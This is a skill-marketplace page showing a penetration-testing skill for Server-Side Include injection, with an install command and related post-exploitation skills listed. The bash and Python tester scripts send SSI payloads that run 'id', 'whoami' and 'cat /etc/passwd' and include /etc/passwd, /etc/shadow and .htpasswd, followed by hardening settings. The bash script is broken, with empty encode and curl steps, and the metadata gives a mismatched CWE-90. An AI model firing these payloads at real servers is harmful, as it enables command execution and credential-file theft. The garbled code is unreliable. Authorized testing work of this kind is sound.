Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-08명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SKILL.md 표시 중
SOC 직업 분류 기준
| name | wstg-inpv-08 |
| description | Testing for SSI Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-08 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-90"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-08
Testing for SSI Injection
Server-Side Includes (SSI) Injection occurs when an attacker can inject SSI directives into web pages that are processed by the web server. SSI allows embedding dynamic content into HTML pages, and successful injection can lead to arbitrary command execution, file disclosure, or other server-side attacks.
#!/bin/bash
TARGET="https://target.com"
# Check for SSI file extensions
echo "[*] Checking for SSI-enabled files..."
for ext in shtml stm shtm; do
curl -s -o /dev/null -w "%{http_code}" "$TARGET/index.$ext"
done
# Test SSI injection
echo "[*] Testing SSI injection..."
SSI_PAYLOADS=(
'<!--#echo var="DATE_LOCAL" -->'
'<!--#exec cmd="id" -->'
'<!--#include virtual="/etc/passwd" -->'
'<!--#printenv -->'
)
for payload in "${SSI_PAYLOADS[@]}"; do
encoded=$(echo -n "" | jq -sRr @uri)
response=$(curl -s )
#!/usr/bin/env python3
"""
SSI Injection Vulnerability Tester
"""
import requests
from urllib.parse import quote
class SSIInjectionTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# SSI injection payloads
SSI_PAYLOADS = {
'detection': [
'<!--#echo var="DATE_LOCAL" -->',
'<!--#echo var="DOCUMENT_NAME" -->',
'<!--#echo var="SERVER_SOFTWARE" -->',
'<!--#printenv -->',
],
'file_inclusion': [
'<!--#include virtual="/etc/passwd" -->',
'<!--#include file="/etc/passwd" -->',
'<!--#include virtual="/.htpasswd" -->',
'<!--#include virtual="/etc/shadow" -->',
],
'command_execution': [
'<!--#exec cmd="id" -->',
'<!--#exec cmd="whoami" -->',
'<!--#exec cmd="cat /etc/passwd" -->',
'<!--#exec cgi="/cgi-bin/script.cgi" -->',
],
'config': [
'<!--#config timefmt="%Y" -->',
'<!--#config errmsg="SSI_TEST" -->',
],
}
def test_ssi_detection(self, param='input'):
"""Test if SSI is processed"""
print("\n[*] Testing SSI detection...")
for payload in self.SSI_PAYLOADS['detection']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for SSI output indicators
indicators = [
'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun', # DATE
'Apache', 'nginx', 'IIS', # SERVER_SOFTWARE
'DOCUMENT_ROOT', 'SERVER_NAME', # printenv
]
for indicator in indicators:
if indicator in response.text and payload not in response.text:
print(f"[VULN] SSI is being processed!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Processing Detected',
'payload': payload,
'severity': 'High'
})
return True
# Check if payload is reflected raw (not processed)
if payload in response.text:
print(f"[INFO] SSI payload reflected but not processed")
except Exception as e:
pass
return False
def test_file_inclusion(self, param='input'):
"""Test SSI file inclusion"""
print("\n[*] Testing SSI file inclusion...")
for payload in self.SSI_PAYLOADS['file_inclusion']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for /etc/passwd content
if 'root:' in response.text:
print(f"[VULN] SSI File Inclusion!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI File Inclusion',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_command_execution(self, param='input'):
"""Test SSI command execution"""
print("\n[*] Testing SSI command execution...")
for payload in self.SSI_PAYLOADS['command_execution']:
try:
response = self.session.get(
self.url,
params={param: payload}
)
# Check for command output indicators
if 'uid=' in response.text or 'gid=' in response.text:
print(f"[VULN] SSI Command Execution!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSI Command Execution',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSI INJECTION REPORT")
print("="*60)
if not self.findings:
print("\nNo SSI injection vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload']}")
def run_tests(self, param='input'):
"""Run all SSI tests"""
self.test_ssi_detection(param)
self.test_file_inclusion(param)
self.test_command_execution(param)
self.generate_report()
# Usage
tester = SSIInjectionTester("https://target.com/page.shtml")
tester.run_tests()
# SSI Directives
# Echo - Display variables
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="LAST_MODIFIED" -->
<!--#echo var="SERVER_SOFTWARE" -->
# Include - Include files
<!--#include virtual="/header.html" -->
<!--#include file="footer.html" -->
# Exec - Execute commands/CGI
<!--#exec cmd="ls -la" -->
<!--#exec cgi="/cgi-bin/counter.cgi" -->
# Config - Configure SSI behavior
<!--#config timefmt="%A %B %d, %Y" -->
<!--#config sizefmt="bytes" -->
<!--#config errmsg="Error occurred" -->
# Printenv - Print environment
<!--#printenv -->
# Set - Set variables
<!--#set var="name" value="John" -->
# If/Elif/Else - Conditionals
<!--#if expr="${QUERY_STRING} = 'admin'" -->
Admin content
<!--#endif -->
# Flastmod - File last modified
<!--#flastmod virtual="/file.html" -->
# Fsize - File size
<!--#fsize file="document.pdf" -->
| Tool | Purpose |
|---|---|
| Burp Suite | Parameter fuzzing |
| curl | Manual testing |
| Custom scripts | Automated testing |
# Apache - Disable SSI exec
<Directory "/var/www/html">
Options +Includes -IncludesNOEXEC
</Directory>
# Or disable SSI entirely
<Directory "/var/www/html">
Options -Includes
</Directory>
# Restrict SSI to specific files
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
# Nginx - Disable SSI
ssi off;
# Or restrict
ssi on;
ssi_types text/html;
| Finding | CVSS | Severity |
|---|---|---|
| SSI command execution | 9.8 | Critical |
| SSI file inclusion | 7.5 | High |
| SSI information disclosure | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-97 | Improper Neutralization of Server-Side Includes (SSI) |
[ ] SSI file extensions identified
[ ] SSI processing tested
[ ] File inclusion tested
[ ] Command execution tested
[ ] Environment disclosure tested
[ ] Findings documented